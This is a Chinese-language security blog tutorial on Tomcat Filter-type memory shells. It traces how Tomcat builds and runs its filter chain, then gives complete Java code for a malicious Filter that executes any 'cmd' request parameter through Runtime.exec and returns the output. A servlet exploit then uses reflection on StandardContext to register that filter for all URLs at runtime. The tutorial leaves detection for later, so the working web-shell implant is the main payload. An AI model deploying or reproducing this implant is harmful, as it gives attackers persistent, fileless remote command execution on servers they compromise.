前言

今天要学习的是Filter型的内存马。
回忆一下,Filter相当于一个守门员,在请求到达servlet之前和响应包到达客户端之前都会对数据包进行拦截,并进行检查。而Filter一般是成链存在的。
image.png
向图示一样,我们知道Filter被调用会按照顺序执行filter1,filter2这样,这样如果filter1是我们创建的,并且他里面存在恶意代码的话,当Filter被调用时,就会执行恶意命令。这就是Filter型内存马的基本原理。

Filter工作流程

接下来我们来分析一下Filter的工作流程
项目搭建的话我还是用之前的一个项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.servlet.*;  
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/filter")
public class Filterdemo implements Filter {
//初始化
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//拦截
System.out.println("request go");
//放行,只有有它才能到Servlet
chain.doFilter(request, response);
System.out.println("response go");
}

@Override
public void destroy() { }
}

这里我直接用的注解,大家也可以写在web.xml里

1
2
3
4
5
6
7
<web-app>  
<display-name>Archetype Created Web Application</display-name>
<filter> <filter-name>filter</filter-name>
<filter-class>Filterdemo</filter-class>
</filter> <filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

image.png

在/filter之后的分析

在分析之前先要再添加两个依赖包

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version> <scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>

接下来我们开始进行链子的调试分析
image.png
从第一个Filter的chain.doFilter开始

步入之后是对全局安全服务是否开启的一个判断
image.png

继续向下执行
image.png
这里调用了internalDoFilter方法,顾名思义,内部的DoFilter

步入
image.png
到这里我们可以看到filter是从filterConfig中获取的,filterConfig来自filters,filters又来自private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
这里的0和1代表着我们自己创建的一个filter和tomcat自带的一个filter,这里我们自己创建的doFilter是正在执行中的哦。

继续向下走
image.png
到这里对doFilter的调用,这里的Filter就是tomcat自带的那个Filter了。

步入
image.png
我们会发现他调用了chain.doFilter

步入之后又回到了我们之前的操作,过完之后
image.png
发现这里调用了service,因为我们就写了一个Filter,最后一个是tomcat自带的,所以调用最后一个之后直接就会调用service了。
总结:当一个Filter被调用之后就会调用doFilter方法里的chain.doFilter方法,来调用下一个Filter的doFilter方法,在调用chain.doFilter方法,以此循环,直到调用到最后一个chain,doFilter方法,进入service。

在/filter之前的分析

采取的是逆向分析,从Engine的最后一个阀门StandardEngineValue开始分析
image.png
这里的invoke调用的是AbstractAccessLogValve类的invoke,然后就会开始一步步的对invoke进行调用,从engine->host->context->wrapper,可以看这张图来理解一下。
image.png
调用到最后一个invoke也就是Wrapper的invoke,之后就是对doFilter的调用,这里我们直接跳到StandardWrapperValue的位置。
image.png
进入这个类之后,我们重点看FilterChain的创建
image.png
步入之后
image.png
通过findFilterMaps获得我们现在存在的Filter拦截器,/filter之后的流程我们已经分析过了,这里也就是获得那两个FilterName和要拦截的路径。
image.png
在继续向下对FilterMaps进行遍历,遍历完之后调用matchDispattcher方法和matchFilterURL方法进行匹配,匹配成功之后会将Filter添加到链中,这里默认是匹配到tomcat自带的Filter(因为还没有访问/filter,emm在访问/filter之后断下的,应该也是属于访问/filter之前的,那时就会添加到自己写的Filter了)匹配成功之后创建filterConfig,这里的filterConfig是包含了filter具体实例的。
image.png
最后就可以将filter添加到filterChain中。

总结

  1. 通过对管道(Engine,Host等)的逐个调用,到最后一个Wrapper,调用dofilter,将filter传入FilterChain中。
  2. 准备好FilterChain之后,等请求到来,就可以正常进行doFilter->internalFilter->doFilter,直到最后一个doFilter被调用
  3. 最后一个doFilter被调用,调用servlet的service。

攻击思路

攻击思路应该时刚刚我们重点提到的FilterMap(拦截器)和FilterConfig(具体实例)这两个。
这两个都是来自StandardContext
image.png
image.png
FilterConfig是在web.xml中<filter> 标签的程序化表示。
FilterMap是在web.xml中<filter-mapping>标签的程序化表示

Tomcat的Filter内存马攻击思路

还记得我们刚才聊到的攻击思路中是提到StandardContext的
首先想要修改FilterMaps是要可以通过调用StandardContext中的addFilterMap和addFilterMapBefore两个方法的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Override  
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

其次我们来聊聊StandardContext,这个类。
它是一个容器类,在这个类里面封存着整个web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet和Filter对象以及它们的映射关系。
聊这个的原因是因为这是我们要修改filterConfig的关键点。
在StandardContext中储存了三个重要的值

  1. filterConfigs:包含真正的 Filter 对象实例,并对Filter进行管理
  2. filterDefs:对应web.xml中的<filter>标签,存储着filter的静态数据,例如名字等
  3. filterMaps: 包含filter和url的映射关系
    filterConfigs的成员变量是一个HashMap对象,存有filter的名称和与之对应的ApplicationFilterConfig的键值对。而在ApplicationFilterConfig中又存有Filter对象的实例。

filterDefs的成员变量也是以一个HashMap对象存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps就不用多说了就是记录filter和url的映射关系的

然后在看ApplicationFilterConfig中包含三个比较重要的东西:
image.png
StandardContext,filter和filterDef,这时可能会有人有点疑惑,为什么又包含有StandardContext了,举个列子:大家可以将ApplicationFilterConfig当作是工牌,而StandardContext是公司,公司构建了一个册子(filterconfigs)中含有每个人的工牌,对应着上面讲的ApplicationFilterConfig在
StandardContext中,而员工在工作是使用工牌,工牌上不还是得带着公司的名字吗。所以就和ApplicationFilterConfig中包含StandardContext对应上了。StandardContext是为Filter的执行提供了环境。
在说回来,我们一直在找的filterConfig其实在filterStart中就可以添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public boolean filterStart() {  

if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}

return ok;
}

总结

我们构建内存马的具体思路

  1. 先获取到StandardContext对象
  2. 从StandardContext中获取到filterconfigs
  3. 构建恶意的filter
  4. 为恶意filter创建filterdef
  5. 将StandardContext对象和filter和def写入filterconfigs

Filter型内存马的实现

我们在内存马2中有讲到普通内存马的简单实现和有回显的实现,在此,我就不对赘述了。
我们现在来将有回显的内存马插入filter中,创建一个恶意filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javax.servlet.*;  
import javax.servlet.annotation.WebFilter;
import java.io.IOException;


public class Filterdemo implements Filter {
//初始化
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//拦截
System.out.println("request go");
if(request.getParameter("cmd") != null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = in.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len); //返回输出到响应中
}
}
//放行,只有有它才能到Servlet
chain.doFilter(request, response);
System.out.println("response go");
}

@Override
public void destroy() { }
}

image.png

那么我们应该怎么动态的将内存马插入进去呢?这就要考虑如何获取到StandardContext这个类了。
只有获取到这个类我们才能把我们的filterconfigs和filterdef和filtermaps添加进去。

filter型内存马exp

我们可以看一下佬画的一个图
image.png
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import org.apache.catalina.core.ApplicationContext;  
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

@WebServlet(urlPatterns = "/servletexp")
public class ServletFilterexp extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
//反射获取StandardContext
try {
ServletContext servletContext = req.getSession().getServletContext();
Field declaredField = servletContext.getClass().getDeclaredField("context");
declaredField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);
Field declaredField1 = applicationContext.getClass().getDeclaredField("context");
declaredField1.setAccessible(true);
StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext);

//创建filter
String FilterName = "Filter1";
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);

if(filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
//初始化
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//拦截
System.out.println("request go");
if(request.getParameter("cmd") != null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = in.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}
}
//放行,只有有它才能到Servlet
chain.doFilter(request, response);
System.out.println("response go");
}

@Override
public void destroy() { }
};
//反射获取FilterDef,设置filer的名字等参数,并调用addFilterDef添加
Class<?> aClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructor.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);

//反射获取FilterMap,设置拦截的路径并调用addFilterMapBefore将FilterMap添加进去
Class<?> aClass1 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor();
FilterMap o1 = (FilterMap)declaredConstructor1.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
//只有当用户直接从浏览器发起请求(REQUEST)时,才执行这个 Filter o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);;

//反射获取ApplicationFilterConfig,构造方法将FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> aClass2 = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor2 = aClass2.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
declaredConstructor2.setAccessible(true);
ApplicationFilterConfig o2 = (ApplicationFilterConfig)declaredConstructor2.newInstance(standardContext,o);
filterConfigs.put(FilterName, o2);
resp.getWriter().write("ok");



}




}catch (Exception e){
e.printStackTrace();
}


}
}

image.png
文件上传和排查目前先不看了,后面在补
尽量跟着写一遍,然后在自己写一遍,多练练总是有好处的。

参考

Java内存马系列-03-Tomcat 之 Filter 型内存马 | Drunkbaby’s Blog